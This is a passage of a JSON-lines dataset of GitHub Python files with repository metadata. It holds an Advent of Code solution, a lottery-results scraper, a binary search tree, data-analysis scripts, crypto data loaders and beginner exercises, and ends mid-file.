heappush(min_heap, curr_calories)\n if len(min_heap) > 3:\n heappop(min_heap)\n curr_calories = 0\n continue\n\n curr_calories += int(calorie.rstrip('\\n'))\n\n return sum(min_heap)\n\n\ndef main():\n with open('input.txt') as f:\n calories = f.readlines()\n print(first_part(calories))\n print(second_part(calories))\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"alankan886/advent-of-code-2022","sub_path":"day1/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69815059283","text":"import sys\n\nsys.path.append(\"../bert_system\")\nfrom argparse import ArgumentParser\nfrom potato.dataset.dataset import Dataset\nfrom potato.dataset.utils import amr_pn_to_graph\nfrom potato.models.trainer import GraphTrainer\nimport re\nimport pandas as pd\nimport json\nfrom read_data import read_csv\n\n\ntoxic_or_not = {'NOT': 'OTHER', 'HOF': 'TOXIC', 'OTHER': 'OTHER', 'OFFENSE': 'TOXIC', 1: 'TOXIC', 0: 'OTHER'}\nlabel_dict = {'OTHER': 0, 'TOXIC': 1}\n\n\ndef create_data(str_path, graph_path, lang):\n if \"xlsx\" in str_path:\n str_data = pd.read_excel(str_path, engine='openpyxl')\n else:\n str_data = read_csv(str_path, names=['text', 'label', 'category', 'directed'])\n text = 'text' if 'text' in str_data else ('comment_text' if 'comment_text' in str_data else 'c_text')\n label = 'task1' if 'task1' in str_data else ('task_1' if 'task_1' in str_data else\n ('label' if 'label' in str_data else 'Sub1_Toxic'))\n str_sentences = [(text, toxic) for (text, toxic) in zip(str_data[text], str_data[label])]\n with open(graph_path) as graph:\n graph_data = graph.read()\n dataset = Dataset(str_sentences, label_vocab=label_dict, lang=lang)\n graphs = []\n for gd in re.split(r'# ::id [0-9]*', graph_data)[1:]:\n gd = gd.replace('/ #', '/ hashtag_').replace('~', '[zirca]')\n graphs.append(amr_pn_to_graph(gd, edge_attr=\"color\", clean_nodes=True)[0])\n dataset.set_graphs(graphs)\n return dataset.to_dataframe()\n\n\nif __name__ == '__main__':\n args = ArgumentParser()\n args.add_argument(\"--amr\", help=\"Path to the amr graphs\")\n args.add_argument(\"--text\", help=\"Path to the train/dev/test data\")\n args.add_argument(\"--train\", action=\"store_true\")\n args.add_argument(\"--lang\", choices=[\"en\", \"de\"])\n args.add_argument(\"--feature\", help=\"Where to save the features after training\", default=\"features.json\")\n args.add_argument(\"--save\", help=\"Where to save the dataset\", default=\"dataset\")\n arg = args.parse_args()\n df = create_data(arg.text, arg.amr, arg.lang).dropna()\n df.to_pickle(arg.save)\n if arg.train:\n trainer = GraphTrainer(df, lang=\"de\")\n features = trainer.prepare_and_train()\n with open(arg.feature, \"w\") as f:\n json.dump(features, f, indent=4)\n","repo_name":"GKingA/offensive_text","sub_path":"scripts/rule_system/potato_runner.py","file_name":"potato_runner.py","file_ext":"py","file_size_in_byte":2304,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39930199168","text":"from selenium import webdriver\nimport time\n# Options chrome\n # chrome_options = webdriver.ChromeOptions()\n # chrome_options.add_argument(\"--incognito\")\n # driver_chrome = webdriver.Chrome(chrome_options=chrome_options, executable_path='./chromedriver')\n# End Options chrome\n\n# Options firefox\nfirefox_options = webdriver.FirefoxOptions()\nfirefox_options.add_argument(\"--private\")\ndriver_firefox = webdriver.Firefox(firefox_options=firefox_options, executable_path='./geckodriver')\n# End Options firefox\nurl = \"https://www.minhchinh.com/xo-so-dien-toan-keno.html\"\ndriver_firefox.get(url)\ntime.sleep(10)\nfor i in range(3000):\n print('Loading page : ',i+1)\n path_click = './/a[@href=\"javascript:chosePage('+str(i + 1)+')\"]'\n print(path_click)\n try:\n click_button = driver_firefox.find_element_by_xpath(path_click)\n click_button.click()\n finally:\n elements = driver_firefox.find_elements_by_css_selector(\".wrapperKQKeno\")\n list_data = [str(el.text).replace('\\n', ' ') for el in elements]\n with open('lab.txt', 'a') as f:\n f.write(str(list_data))\n f.write('\\n')\n time.sleep(10)","repo_name":"tieukhachngao/Crawl-Data-from-Keno-Vietlott","sub_path":"keno.py","file_name":"keno.py","file_ext":"py","file_size_in_byte":1161,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19091756479","text":"from PIL import Image\r\n\r\n# Görseli yükle\r\nim = Image.open('Center.png')\r\n\r\n# Boyutları yazdır\r\nprint(f\"Genişlik: {im.width}px\")\r\nprint(f\"Yükseklik: {im.height}px\")\r\n\r\n# Her pikselin rengini al\r\npikseller = list(im.getdata())\r\n\r\n# Her bir rengin piksel sayısını hesapla ve yazdır\r\npiksel_sayilari = {}\r\nfor piksel in pikseller:\r\n if piksel[1] == 255: # Yeşil rengin RGB değeri (0, 255, 0)\r\n if piksel in piksel_sayilari:\r\n piksel_sayilari[piksel] += 1\r\n else:\r\n piksel_sayilari[piksel] = 1\r\n\r\nprint(f\"Toplam {len(piksel_sayilari)} farklı yeşil tonu bulundu.\")\r\ndeger=0\r\nfor renk, sayi in piksel_sayilari.items():\r\n print(f\"Renk {renk}: {sayi} piksel\")\r\n deger +=sayi\r\nprint(deger)\r\n","repo_name":"mehmet-cinar/green_pixels","sub_path":"greenpixel.py","file_name":"greenpixel.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"31089769793","text":"# 2023求平均成绩\n\"\"\"\n如果n=2 m=2\n输入：\n5 10 ---> 学生1的2门课成绩\n10 20 ---> 学生2的2门课成绩\n输出：\n7.50 15.00 ---> 2个学生的平均成绩\n7.50 15.00 ---> 2门课的平均成绩\n\"\"\"\n\nn,m = map(int,input().split()) # n学生数,m课程数\n\nalist = []\navg = []\nnum = 0 # 计数器\nans = 0 # 大于平均成绩同学人数\nfor i in range(n):\n alist.append([])\n alist[i]=[float(j) for j in input().split()]\n\n# 求n个学生的平均成绩\nfor j in range(n):\n # 把当前循环的学生的所有课程成绩加起来求平均值\n sum = 0\n for j1 in range(m):\n sum+=alist[j][j1]\n print('%.2f'%(sum/m),end=' ')\n\nprint('')\n\n# 求m门课的平均成绩\nfor k in range(m):\n # 把当前循环的课程的所有学生成绩加起来求平均值\n sum = 0\n for k1 in range(n):\n sum+=alist[k1][k]\n print('%.2f'%(sum/n),end=' ')\n # 创建一个平均值列表\n avg.append(sum/n)\n\nprint('')\n\nfor p in range(n):\n for q in range(m):\n # 如果大于平均值，计数器加一\n if int(alist[p][q])>int(avg[q]):\n num+=1\n # 如果n同学m科成绩全部达标（计数器num的值等于课程总数）\n # 则达标同学人数加一\n if num==m:\n ans+=1\nprint(ans)\n\n","repo_name":"QiYi92/StudyLab","sub_path":"Python/python_lanqiao/基础题单/2023_求平均成绩.py","file_name":"2023_求平均成绩.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"72653768721","text":"# some utilities for dealing with a simple matrix defined as\n# a dictionary with keys like ('a','y'), for all letter pairs\n# avoids the need for numpy dependency\n\n\nfrom params import alphabet, parameters\nfrom collections import Counter\nfrom logger import logger\n\n\ndef make_pair_counter():\n \"\"\"\n :return: a counter object populated with small default value\n for each letter\n \"\"\"\n epsilon = parameters['pair_counter_epsilon']\n pair_count = Counter()\n for encrypted_letter in alphabet:\n for letter in alphabet:\n pair_key = (encrypted_letter, letter)\n pair_count[pair_key] = epsilon\n return pair_count\n\n\ndef normalize_rows(pair_count):\n \"\"\"\n :param pair_count: a pair count object, a Counter with tuples for keys\n like ('a','b') for each pair of letters\n :return: normalized along the row direction\n \"\"\"\n max_margin_error = 0.0\n for encrypted_letter in alphabet:\n total = 0.0\n for letter in alphabet:\n pair_key = (encrypted_letter, letter)\n count = pair_count[pair_key]\n total += count\n margin_error = abs(total - 1.0)\n max_margin_error = max(max_margin_error, margin_error)\n for letter in alphabet:\n pair_key = (encrypted_letter, letter)\n pair_count[pair_key] /= total\n logger.debug(\"Max row margin error: %s\" % max_margin_error)\n\n\ndef normalize_cols(pair_count):\n \"\"\"\n :param pair_count: a pair count object, a Counter with tuples for keys\n like ('a','b') for each pair of letters\n :return: normalized along the col direction\n \"\"\"\n max_margin_error = 0.0\n for letter in alphabet:\n total = 0.0\n for encrypted_letter in alphabet:\n pair_key = (encrypted_letter, letter)\n count = pair_count[pair_key]\n total += count\n margin_error = abs(total - 1.0)\n max_margin_error = max(max_margin_error, margin_error)\n for encrypted_letter in alphabet:\n pair_key = (encrypted_letter, letter)\n pair_count[pair_key] /= total\n logger.debug(\"Max row margin error: %s\" % max_margin_error)\n\n\ndef normalize_pair_counts(pair_count):\n \"\"\"\n use the Sinkhorn-Knopp algorithm to convert\n the pair_counts into a doubly stochastic matrix\n :param pair_count: a pair count object, a Counter with tuples for keys\n like ('a','b') for each pair of letters\n :return: normalized along both the row,col direction\n \"\"\"\n niter = parameters['normalization_iterations']\n for iteration in xrange(niter):\n logger.debug(\"normalize iteration: %s\" % iteration)\n normalize_rows(pair_count)\n normalize_cols(pair_count)\n normalize_rows(pair_count)\n","repo_name":"dave31415/decipher","sub_path":"letter_matrix.py","file_name":"letter_matrix.py","file_ext":"py","file_size_in_byte":2758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"17640985602","text":"# coding: utf8\n\n\nclass Node(object):\n \"\"\"\n 二叉搜索树的节点\n \"\"\"\n def __init__(self, keyword, left=None, right=None):\n self.keyword = keyword\n self.left = left\n self.right = right\n\n\nclass BinarySearchTree(object):\n \"\"\"\n 二叉搜索树实现\n \"\"\"\n def __init__(self):\n self._root = None\n\n def insert(self, keyword):\n # 如果树为空，则创建新节点，并使之成为根节点\n if self._root is None:\n self._root = Node(keyword)\n return\n\n node = self._root\n while True:\n # 如果待插入关键字小于 node 的关键字\n if keyword < node.keyword:\n # 如果 node 的左子树为空，则创建新节点，并使之成为 node 的左孩子节点\n if node.left is None:\n node.left = Node(keyword)\n break\n # 否则，使用相同的方式在左子树上进行插入\n node = node.left\n # 如果待插入关键字不小于 node 的关键字\n else:\n # 如果 node 的右子树为空，则创建新节点，并使之成为 node 的右孩子节点\n if node.right is None:\n node.right = Node(keyword)\n break\n # 否则，使用相同的方式在右子树上进行插入\n node = node.right\n\n def search(self, keyword):\n node = self._root\n while node is not None:\n # 如果 node 的关键字等于待查询关键字，则搜索成功\n if keyword == node.keyword:\n return node\n # 如果待搜索关键字小于 node 的关键字，则使用相同的方式在左子树上进行查询\n if keyword < node.keyword:\n node = node.left\n continue\n # 否则，使用相同的方式在右子树上进行查询\n node = node.right\n return None\n\n def delete(self, keyword):\n node = self._root\n left = None\n parent = node\n while node is not None:\n if keyword == node.keyword:\n # 如果待删除节点是叶子节���\n if node.left is None and node.right is None:\n # 如果待删除节点是根节点，那么将树置空\n if node is self._root:\n self._root = None\n # 否则，将待删除节点的父节点的相应孩子节点置空\n elif left:\n parent.left = None\n else:\n parent.right = None\n # 如果待删除节点的左子树和右子树都不为空\n elif node.left is not None and node.right is not None:\n # 找到左子树的最右节点（或者找到右子树的最左节点）\n temp = node.left\n parent = node\n left = True\n while temp.right is not None:\n parent = temp\n left = False\n temp = temp.right\n # 将待删除节点的关键字置为 temp 的关键字，然后将 temp 删掉\n node.keyword = temp.keyword\n # 因为 temp 的右子树肯定为空，所以将其左子树接到其父节点\n if left:\n parent.left = temp.left\n else:\n parent.right = temp.left\n # 如果待删除节点的左子树为空\n elif node.left is None:\n # 如果待删除节点是根节点，则将根节点置为其右孩子节点\n if node is self._root:\n self._root = node.right\n # 否则，将待删除节点的右孩子节点接到其父节点上\n elif left:\n parent.left = node.right\n else:\n parent.right = node.right\n # 如果待删除节点的右子树为空\n else:\n # 如果待删除节点是根节点，则将根节点职位其左孩子节点\n if node is self._root:\n self._root = node.left\n # 否则，将待删除节点的左孩子节点接到其父节点上\n elif left:\n parent.left = node.left\n else:\n parent.right = node.left\n return\n elif keyword < node.keyword:\n # 使用相同的方式，去左子树上进行删除\n parent = node\n left = True\n node = node.left\n else:\n # 使用相同的方式，去右子树上进行删除\n parent = node\n left = False\n node = node.right\n\n raise KeyError(\"not found\")\n\n @property\n def root(self):\n return self._root\n\n\nif __name__ == \"__main__\":\n import random\n elements = list(range(20))\n random.shuffle(elements)\n print(\"元素列表：\")\n print(elements)\n\n print(\"插入元素\")\n binary_search_tree = BinarySearchTree()\n for ind in elements:\n binary_search_tree.insert(ind)\n\n def inorder_traverse(root):\n if root is None:\n return []\n\n nodes = []\n nodes.extend(inorder_traverse(root.left))\n nodes.append(root.keyword)\n nodes.extend(inorder_traverse(root.right))\n\n return nodes\n\n print(\"中序遍历：\")\n print(inorder_traverse(binary_search_tree.root))\n\n for ind in elements:\n assert binary_search_tree.search(ind) is not None\n\n print(\"删除元素\")\n for ind in elements:\n binary_search_tree.delete(ind)\n\n assert binary_search_tree.root is None\n","repo_name":"tim-chow/DataStructure","sub_path":"树/二叉树/二叉搜索树/binary_search_tree.py","file_name":"binary_search_tree.py","file_ext":"py","file_size_in_byte":6010,"program_lang":"python","lang":"zh","doc_type":"code","stars":33,"dataset":"github-code","pt":"3"} +{"seq_id":"10964733779","text":"import os\nfrom io import StringIO\nfrom collections import defaultdict\nfrom functools import partial\n\nfrom common import *\n#from common import do_nodes_match\nfrom read_write import read_data, read_parse_file, output_results, make_phrase_repr\n\nfrom udapi.block.read.conllu import Conllu\nfrom udapi.core.node import Node, ListOfNodes, find_minimal_common_treelet\nfrom udapi.core.document import Document\nfrom udapi.block.write.textmodetrees import TextModeTrees\n\n\ndef find_segment_root(tree: ListOfNodes, start, end, only_in_segment=False):\n if isinstance(tree, Node):\n tree = tree.descendants\n if start < 0:\n return None\n last_in_segment = set()\n for node in tree[start:end]:\n while node.ord != 0:\n parent = node.parent\n if parent.ord <= start or parent.ord > end:\n last_in_segment.add(node.ord-1)\n break\n node = parent\n if len(last_in_segment) == 1:\n answer = last_in_segment.pop()\n is_in_segment = (answer >= start and answer < end)\n if not only_in_segment or is_in_segment:\n return tree[answer]\n else:\n return None\n else:\n return None\n\n\ndef make_branch(node: Node):\n answer = [node]\n while node.parent.ord:\n node = node.parent\n answer.append(node)\n answer = answer[::-1]\n return answer\n\n\ndef find_gap_tree_type(head_block, left_gap, right_gap):\n if head_block[1] != head_block[0] + 1:\n return None, None, None, None, \"long head\"\n if left_gap[0] < 0:\n return None, None, None, None, \"no left gap dependant\"\n if right_gap[0] < 0:\n return None, None, None, None, \"no right gap dependant\"\n head = sent.descendants[head_block[0]]\n left_gap_root = find_segment_root(sent, *left_gap)\n right_gap_root = find_segment_root(sent, *right_gap)\n root_error_code = 2 * int(left_gap_root is None) + int(right_gap_root is None)\n if root_error_code > 0:\n messages = {1: \"no right gap subtree head\", 2: \"no left gap subtree head\", 3: \"no gap subtree heads\"}\n return None, None, None, None, messages[root_error_code]\n nodes = [head, left_gap_root, right_gap_root]\n branches = [make_branch(node) for node in nodes]\n head_depth, left_depth, right_depth = [len(elem) for elem in branches]\n min_gap_depth = min(left_depth, right_depth)\n # if head_depth >= min_gap_depth:\n # return None, None, None, \"no head domination\"\n if left_depth == right_depth:\n return None, None, None, None, \"no gap domination\"\n if left_depth < right_depth:\n gap_type, gap_upper, gap_lower = \"left\", left_gap_root, right_gap_root\n longest_branch = branches[2]\n else:\n gap_type, gap_lower, gap_upper = \"right\", left_gap_root, right_gap_root\n longest_branch = branches[1]\n if longest_branch[min_gap_depth-1] != gap_upper:\n return None, None, None, None, \"no gap domination\"\n if head_depth >= len(longest_branch) or longest_branch[head_depth-1] != head:\n for common_depth, (first, second) in enumerate(zip(branches[0], longest_branch)):\n if first != second:\n break\n head_path = [(elem.upos, elem.deprel) for elem in longest_branch[common_depth:head_depth]]\n else:\n head_path, common_depth = [], head_depth\n # return None, None, None, \"no head domination\"\n first_path = [(elem.upos, elem.deprel) for elem in longest_branch[common_depth:min_gap_depth]]\n second_path = [(elem.upos, elem.deprel) for elem in longest_branch[min_gap_depth:]]\n return gap_type, head_path, first_path, second_path, \"ok\"\n\n\nif __name__ == \"__main__\":\n source_file, infile = \"data/train.csv\", \"results/example_1.out\"\n outdir = \"results/tree_stats_2000\"\n if not os.path.exists(outdir):\n os.makedirs(outdir)\n (source_sents, labels), sents = read_data(source_file), read_parse_file(infile, parse=False)\n word_labels = []\n parsed_sents = [Conllu(filehandle=StringIO(sent)).read_tree() for sent in sents]\n for i, (source_sent, curr_labels, sent) in enumerate(zip(source_sents, labels, parsed_sents), 1):\n if curr_labels is not None:\n words = [elem.form for elem in sent.descendants]\n curr_labels = char_to_word_positions(source_sent, words, curr_labels)\n word_labels.append(curr_labels)\n stats = defaultdict(list)\n for i, (curr_labels, sent) in enumerate(zip(word_labels, parsed_sents)):\n if curr_labels is None:\n continue\n if i >= 2000:\n break\n head_block = curr_labels[0][0]\n for elem in curr_labels[1:]:\n _, left_gap, right_gap = elem\n gap_data = (head_block, left_gap, right_gap)\n to_append = (i, source_sents[i], gap_data, sent)\n gap_type, head_path, first_path, second_path, error_type =\\\n find_gap_tree_type(head_block, left_gap, right_gap)\n if error_type == \"ok\":\n key = (gap_type, \"-\".join(\"_\".join(elem) for elem in head_path) if len(head_path) > 0 else \"HEAD\",\n \"-\".join(\"_\".join(elem) for elem in first_path),\n \"-\".join(\"_\".join(elem) for elem in second_path))\n else:\n key = (error_type,)\n stats[key].append(to_append)\n stats = sorted(stats.items(), key=(lambda x: (len(x[1]))), reverse=True)\n with open(os.path.join(outdir, \"counts.out\"), \"w\", encoding=\"utf8\") as fout:\n for j, (key, key_stats) in enumerate(stats):\n fout.write(\"{}\\t{}\\n\".format(\" \".join(key), len(key_stats)))\n for j, (key, key_stats) in enumerate(stats):\n if j < 20:\n print(\" \".join(key), len(key_stats))\n with open(os.path.join(outdir, \" \".join(key) + \".out\"), \"w\", encoding=\"utf8\") as fout:\n writer = TextModeTrees(filehandle=fout, attributes=\"form,upos,deprel,ord,feats\")\n for i, text, gap_data, parse in key_stats:\n fout.write(\"{}\\t{}\\n\".format(i, text))\n fout.write(\"-\" * 40 + \"\\n\")\n for start, end in gap_data:\n fout.write(make_phrase_repr(parse, start, end) + \"\\n\")\n fout.write(\"-\" * 40 + \"\\n\")\n writer.before_process_document(Document())\n writer.process_tree(parsed_sents[i])\n writer.after_process_document(Document())\n # head = sent.descendants[head_block[0]]\n # left_gap_root = find_segment_root(sent, *left_gap)\n # right_gap_root = find_segment_root(sent, *right_gap)\n #\n # print(head.ord, head.form)\n # print(gap_head.ord, gap_head.form)\n # print(left_gap_root.ord, left_gap_root.form)\n # print(right_gap_root.ord, right_gap_root.form)","repo_name":"AlexeySorokin/Gapping","sub_path":"gap_types.py","file_name":"gap_types.py","file_ext":"py","file_size_in_byte":6774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"20751316933","text":"import statsmodels.api as sm\nfrom statsmodels.stats.outliers_influence import variance_inflation_factor\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\n\ndef multicollinearity_diagnosis(ax, df, country, mapper):\n \"\"\"\n This function performs the multicollinearity analysis\n :param ax: axis\n :param df: df of dependent/independet variables\n :param country: name of the country\n :param mapper: dict used to rename features (for plotting purposes)\n \"\"\"\n \n df_r = df.copy()\n df_r = df_r.rename(columns=mapper)\n\n # compute vif\n X = sm.add_constant(df_r[mapper.values()])\n vif = pd.DataFrame()\n vif[\"VIF Factor\"] = [variance_inflation_factor(X.values, i) for i in range(X.shape[1])]\n vif[\"features\"] = X.columns\n print(country)\n print(vif)\n\n # plot correlation matrix\n corr = df_r[mapper.values()].corr()\n mask = np.triu(np.ones_like(corr))\n corr_lt = corr.where(np.tril(np.ones(corr.shape)).astype(np.bool))\n sns.heatmap(corr_lt, xticklabels=df_r[mapper.values()].columns, yticklabels=df_r[mapper.values()].columns, annot=True,\n cmap=sns.diverging_palette(500, 10, as_cmap=True), mask=mask, linewidths=1, center=0, ax=ax, vmin=-1, vmax=1, fmt=\".2f\")\n ax.set_title(country, weight='bold')\n ax.tick_params(axis=\"x\", rotation=90)","repo_name":"ngozzi/digital-infrastructure","sub_path":"code/functions/multicollinearity.py","file_name":"multicollinearity.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"4291704744","text":"from datetime import datetime, timedelta\n\nfrom ccxt import binance\nfrom funcoin.coins.base.file import DataFileProperty\nfrom funcoin.task import BaseTask\nfrom funsecret import read_secret\n\nclass LoadTask(BaseTask):\n table_name = \"load\"\n\n def __init__(self, *args, **kwargs):\n self.path_root = (\n read_secret(cate1=\"funcoin\", cate2=\"path\", cate3=\"local\", cate4=\"path_root\") or \"~/workspace/tmp\"\n )\n super(LoadTask, self).__init__(*args, **kwargs)\n\n @staticmethod\n def parse_day(ds, days=0):\n ds = ds\n first = datetime.strptime(ds, \"%Y-%m-%d\") - timedelta(days=days)\n last = first + timedelta(days=1) - timedelta(seconds=1)\n return first, last\n\n @staticmethod\n def parse_week(ds, weeks=0):\n ds = ds\n first = datetime.strptime(ds, \"%Y-%m-%d\") + timedelta(weeks=weeks)\n first = first - timedelta(days=first.weekday())\n first = datetime(first.year, first.month, first.day)\n last = first + timedelta(weeks=1) - timedelta(seconds=1)\n return first, last\n\n\nclass LoadKlineDailyTask(LoadTask):\n def refresh(self, ds):\n start, end = self.parse_day(ds)\n file_pro = DataFileProperty(exchange=binance(), path=self.path_root)\n file_pro.file_format = \"%Y%m%d\"\n file_pro.change_data_type(\"kline\")\n file_pro.change_timeframe(\"1m\")\n file_pro.change_freq(\"daily\")\n file_pro.load_daily(start, end)\n\n\nclass LoadKlineWeeklyTask(LoadTask):\n def refresh(self, ds):\n start, end = self.parse_week(ds, weeks=-1)\n file_pro = DataFileProperty(exchange=binance(), path=self.path_root)\n file_pro.file_format = \"%Y%m%d\"\n file_pro.change_data_type(\"kline\")\n file_pro.change_timeframe(\"1m\")\n file_pro.change_freq(\"weekly\")\n print((start, end))\n file_pro.load_merge(start, end)\n\n\nclass LoadTradeDailyTask(LoadTask):\n def refresh(self, ds):\n start, end = self.parse_day(ds)\n file_pro = DataFileProperty(exchange=binance(), path=self.path_root)\n file_pro.file_format = \"%Y%m%d\"\n file_pro.change_data_type(\"trade\")\n file_pro.change_timeframe(\"detail\")\n file_pro.change_freq(\"daily\")\n file_pro.load_daily(start, end)\n\n\n# LoadKlineWeeklyTask().refresh('2021-9-14')\n","repo_name":"darkchats/darkcoin","sub_path":"funcoin/task/load.py","file_name":"load.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33070500109","text":"# Import the turtle module, which allows drawing on the screen\nimport turtle\n\n# Create a turtle named 'artist' and a screen named 'my_screen'\nartist = turtle.Turtle()\nmy_screen = turtle.Screen()\n\n# Set the drawing speed, background color, and pen size\nartist.speed(0) # 0 is the fastest speed\nturtle.bgcolor(\"black\")\nartist.pensize(2)\n\n# Draw the wreath with circles in different shades of green\nartist.penup()\nartist.goto(0, -100)\nartist.pendown()\nfor i in range(13):\n for colours in [\"forestgreen\", \"darkgreen\", \"limegreen\"]:\n artist.color(colours)\n artist.circle(150)\n artist.left(10)\n artist.forward(20)\n\n# Draw a ribbon bow using red color\nartist.penup()\nartist.goto(-95, 110)\nartist.pendown()\nartist.color(\"darkred\", \"red\")\nartist.begin_fill()\nartist.forward(200)\nartist.right(120)\nartist.forward(100)\nartist.right(120)\nartist.forward(200)\nartist.left(120)\nartist.forward(100)\nartist.end_fill()\n\n# Draw a circle in the middle of the ribbon\nartist.penup()\nartist.goto(-40, 160)\nartist.pendown()\nartist.begin_fill()\nartist.circle(30)\nartist.end_fill()\n\n# Draw left dangly part of the ribbon\nartist.penup()\nartist.goto(-25, 132)\nartist.pendown()\nartist.begin_fill()\nartist.right(20)\nartist.forward(130)\nartist.left(80)\nartist.forward(60)\nartist.left(118)\nartist.forward(150)\nartist.end_fill()\n\n# Draw right dangly part of the ribbon\nartist.begin_fill()\nartist.right(92)\nartist.forward(5)\nartist.right(80)\nartist.forward(150)\nartist.left(110)\nartist.forward(60)\nartist.left(89)\nartist.forward(139)\nartist.end_fill()\n\n# Draw yellow decorations\nartist.penup()\nartist.goto(-150, 20)\nartist.pendown()\nartist.color(\"gold\", \"yellow\")\nartist.begin_fill()\nartist.circle(10)\nartist.end_fill()\n\nartist.penup()\nartist.goto(120, 110)\nartist.pendown()\nartist.begin_fill()\nartist.circle(10)\nartist.end_fill()\n\n# Draw red decorations\nartist.penup()\nartist.goto(140, 40)\nartist.pendown()\nartist.color(\"darkred\", \"red\")\nartist.begin_fill()\nartist.circle(10)\nartist.end_fill()\n\nartist.penup()\nartist.goto(-135, 110)\nartist.pendown()\nartist.begin_fill()\nartist.circle(10)\nartist.end_fill()\n\n# Write a Christmas message on the screen\nartist.penup()\nartist.goto(-170, 250)\nartist.pendown()\nartist.color(\"white\")\nartist.write(\"MERRY CHRISTMAS\", font=(\"Arial\", 25, \"bold\"))\n\nartist.penup()\nartist.goto(-215, -250)\nartist.pendown()\nartist.write(\"AND A HAPPY NEW YEAR\", font=(\"Arial\", 25, \"bold\"))\n\n# Close the window when clicked\nmy_screen.exitonclick()\n","repo_name":"GAujla/F1","sub_path":"christmas_card_fern.py","file_name":"christmas_card_fern.py","file_ext":"py","file_size_in_byte":2464,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1042012582","text":"def is_even(i):\r\n if i % 2 == 0:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nvalue = is_even(5)\r\nprint(value)\r\n\r\n\r\ndef hello_twice():\r\n print('hello')\r\n print('hello')\r\n\r\n\r\nhello_twice()\r\n\r\n\r\ndef print_twice():\r\n print('hello')\r\n print(\"hello\")\r\n\r\n\r\nprint_twice()\r\n\r\n\r\ndef average_num(a, b):\r\n res = (a + b) / 2\r\n return res\r\n\r\n\r\ny = 3\r\nz = 5\r\nx = average_num(y + 1, z)\r\nprint(x)\r\n\r\n\r\ndef number(a=0, b=0):\r\n res = (a + b) / 2\r\n return res\r\n\r\n\r\nx = number()\r\nprint(x)\r\nx = number(2)\r\nprint(x)\r\nx = number(2, 8)\r\nprint(x)\r\n\r\ndouble = lambda x: x * 2 % 5\r\nprint(double(12))\r\n\r\n\r\ndef double(x):\r\n return x * 2 % 5\r\n\r\n\r\nprint(double(6))\r\n\r\n\r\n# 1\r\ndef averg(a, b):\r\n jami = (a + b) / 2\r\n return jami\r\n\r\n\r\nx = averg(15, 541)\r\nprint(x)\r\nx = averg(14, 56)\r\nprint(x)\r\nx = averg(13, 81)\r\nprint(x)\r\n\r\n\r\ndef sashualo(a, b):\r\n gamotvla = (a + b) / 2\r\n return gamotvla\r\n\r\n\r\nx = sashualo(2, 5)\r\nprint(x)\r\n\r\n\r\n# 3\r\ndef cube(a):\r\n xarisxi = a ** 3\r\n return xarisxi\r\n\r\n\r\nx = cube(5)\r\nprint(x)\r\nx = cube(7)\r\nprint(x)\r\nx = cube(1)\r\nprint(x)\r\n\r\n# 4\r\nimport random\r\n\r\n\r\ndef minimaluri(a, b):\r\n minimaluri_1 = min(a, b)\r\n return minimaluri_1\r\n\r\n\r\na = random.randint(0, 10)\r\nb = random.randint(0, 10)\r\nprint(minimaluri(a, b))\r\n\r\n\r\n# 5\r\ndef is_odd(x):\r\n if x % 2 == 1:\r\n return True\r\n else:\r\n return False\r\n\r\n\r\nprint(is_odd(5))\r\nprint(is_odd(18))\r\n\r\n# 6\r\nfrom math import factorial\r\n\r\n\r\ndef factoriali(a):\r\n factoriali_1 = factorial(a)\r\n return factoriali_1\r\n\r\n\r\na = factoriali(4)\r\nprint(a)\r\na = factorial(7)\r\nprint(a)\r\n\r\n# 7\r\nimport math\r\n\r\n\r\ndef factorial(x):\r\n if x == 1:\r\n return 1\r\n else:\r\n return (x * factorial(x - 1))\r\n\r\n\r\nnum = 4\r\nprint(\"factorial of \", num, 'is', factorial(num))\r\n\r\n\r\n# 8\r\ndef dabechde():\r\n print('hello world')\r\n\r\n\r\ndabechde()\r\n\r\n# 9\r\nkubi = lambda n: n ** 3\r\nprint(kubi(4))\r\n\r\n\r\n# 10\r\ndef simple_num(x):\r\n if x == 2:\r\n return \"martivia\"\r\n elif x % 2 == 1:\r\n return \"martivia\"\r\n else:\r\n return \"ar aris martivi\"\r\n\r\n\r\nx = 55\r\nprint(simple_num(x))\r\nx = 64\r\nprint(simple_num(x))\r\nx = 2\r\nprint(simple_num(x))\r\n","repo_name":"TinatinObgaidze/python-homeworks","sub_path":"davaleba 4/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":2157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36883131336","text":"# coding=utf-8\r\n# eval 函数可实现，这里选择将中缀表达式转为后缀表达式\r\n\r\noperator={\r\n '(':0,\r\n ')':0,\r\n '*':2,\r\n '/':2,\r\n '+':1,\r\n '-':1\r\n}\r\n\r\n\r\ndef cal(command):\r\n command = command.strip('cal').strip()\r\n\r\n cal_list=postfix_convert(command)\r\n stack=[]\r\n while len(cal_list)!=0:\r\n char= cal_list.pop()\r\n if char in operator:\r\n b,a=stack.pop(),stack.pop()\r\n stack.append(cal_help(int(a),int(b),char))\r\n else:\r\n stack.append(char)\r\n # print stack\r\n return stack[0]\r\n\r\n\r\ndef cal_help(a,b,op):\r\n if op=='+':\r\n return a+b\r\n elif 